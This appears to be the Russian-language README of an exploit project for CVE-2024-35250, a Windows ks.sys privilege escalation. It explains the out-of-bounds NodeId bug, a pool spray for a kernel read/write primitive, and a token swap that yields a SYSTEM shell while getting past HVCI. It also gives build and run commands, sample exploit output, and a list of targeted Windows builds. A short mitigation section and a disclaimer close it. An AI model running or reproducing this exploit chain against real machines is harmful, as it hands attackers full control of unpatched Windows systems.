
Локальное повышение привилегий через разыменование непроверенного указателя в драйвере Kernel Streaming (ks.sys).
Эксплойт, работающий только с данными, — обходит Hypervisor-protected Code Integrity (HVCI).
| Поле | Детали |
|---|---|
| CVE | CVE-2024-35250 |
| Компонент | ks.sys (Kernel Streaming) |
| Класс ошибки | Разыменование непроверенного указателя |
| Воздействие | Повышение привилегий до NT AUTHORITY\SYSTEM |
| HVCI | Обойдена — без выполнения кода в ядре |
| Патч | KB5039212 (Июнь 2024) |
| Цели | Windows 10 20H1+ / Windows 11 21H2-23H2 |
ks!KspPropertyHandler обрабатывает запросы свойств топологии через KspProcessPropertyNode. Поле NodeId из предоставленной пользователем структуры KSP_NODE используется как индекс во внутреннем массиве таблицы автоматизации без проверки границ:
NtDeviceIoControlFile
ks!CKSFilter::DispatchDeviceIoControl
ks!KspPropertyHandler
ks!KspProcessPropertyNode
*(automationTable + NodeId * stride) <-- управляется атакующим
Специально созданный NodeId, превышающий фактическое количество узлов, перенаправляет разыменование на соседнюю память пула, что даёт примитив чтения/записи за пределами границ.
Эксплойт манипулирует исключительно структурами данных ядра:
EPROCESS через NtQuerySystemInformationActiveProcessLinks для нахождения PID 4 (System)Шелл-код не внедряется. Не создаются и не выполняются неподписанные страницы кода. Не перехватываются указатели потока управления.
| Защита | Статус |
|---|---|
| HVCI / KMCI | Обойдена |
| SMEP | Не сработала |
| SMAP | Не сработала |
| kCFG | Не сработал |
hvcipwned.sln в Visual StudioCtrl+Shift+B)Выходной бинарник: x64\Release\hvcipwned.exe
cl.exe /nologo /W4 /O2 /TC ^
main.c device.c leak.c krw.c token.c exploit.c ^
/I ^
/Fe:exploit.exe ^
/link setupapi.lib kernel32.lib advapi32.lib
hvcipwned.exe
Запускайте из сеанса непривилегированного пользователя на уязвимой (непропатченной) системе. В случае успеха откроется новое окно cmd.exe, работающее с правами NT AUTHORITY\SYSTEM.
[+] cve-2024-35250 exploit
[+] ks.sys untrusted pointer dereference -> eop
[~] hvci bypass via data-only attack
[+] os: 10.0.19045
[+] offsets: pid=0x440 links=0x448 token=0x4b8
[+] device: \\?\hdaudio#func_01&ven_10ec...
[+] device handle: 0x00000000000000f4
[~] calibrating r/w primitive...
[+] kernel base: 0xfffff80140000000
[~] spraying named pipes for pool layout...
[+] sprayed 5000 pipe pairs
[~] poking hole at index 2500...
[~] scanning for kernel pointer via oob read...
[+] found kernel ptr at node 3 offset 2: 0xffffa70500000000
[+] pipe object kernel addr: 0xffffa70500000000
[+] r/w primitive initialized (mode 1)
[+] current eprocess: 0xffffa705d90f4080
[+] kernel read pid: 1234 (expected: 1234)
[+] system eprocess: 0xffffa70500004080
[+] system token: 0xffffa70512345673
[+] token after swap: 0xffffa70512345670
[+] token swap successful
[+] escalation complete
[+] elevated shell spawned (pid: 5678)
press enter to exit...
hvcipwned/
├── hvcipwned.sln
├── hvcipwned.vcxproj
├── hvcipwned.vcxproj.filters
├── README.md
├── LICENSE
├── .gitignore
├── common.h - типы, макросы логов, typedefs NT API
├── offsets.h - смещения полей eprocess для каждой сборки
├── device.h - перечисление устройств ks
├── leak.h - утечки адресов ядра
├── krw.h - контекст примитива r/w
├── token.h - замена токена + запуск оболочки
└── exploit.h - точка входа верхнего уровня
├── main.c - точка входа
├── device.c - открытие устройства через setupapi
├── leak.c - утечки через NtQuerySystemInformation
├── krw.c - запуск уязвимости + spray пула + r/w
├── token.c - проход eprocess + перезапись токена
└── exploit.c - оркестрация
Смещения определяются автоматически во время выполнения через RtlGetVersion.
Данный проект предоставлен только для авторизованных исследовательских и образовательных целей. Не используйте против систем без явного письменного разрешения. Автор не несёт ответственности за любое неправомерное использование или ущерб, причинённый данным программным обеспечением.
| CET / Shadow Stack |
| Не сработал |
| ОС | Сборка | Статус |
|---|
| Windows 10 20H1 | 19041 | Поддерживается |
| Windows 10 20H2 | 19042 | Поддерживается |
| Windows 10 21H1 | 19043 | Поддерживается |
| Windows 10 21H2 | 19044 | Поддерживается |
| Windows 10 22H2 | 19045 | Поддерживается |
| Windows 11 21H2 | 22000 | Поддерживается |
| Windows 11 22H2 | 22621 | Поддерживается |
| Windows 11 23H2 | 22631 | Поддерживается |
| Действие | Детали |
|---|
| Патч | Установите KB5039212 (Июнь 2024) или более поздний |
| Обнаружение | Отслеживайте IOCTL_KS_PROPERTY с флагом KSPROPERTY_TYPE_TOPOLOGY |
| EDR | Срабатывание на изменения целостности токена через обратные вызовы ядра EtwTi |
| Укрепление | Ограничьте доступ пользователей к интерфейсам устройств KS через DACL |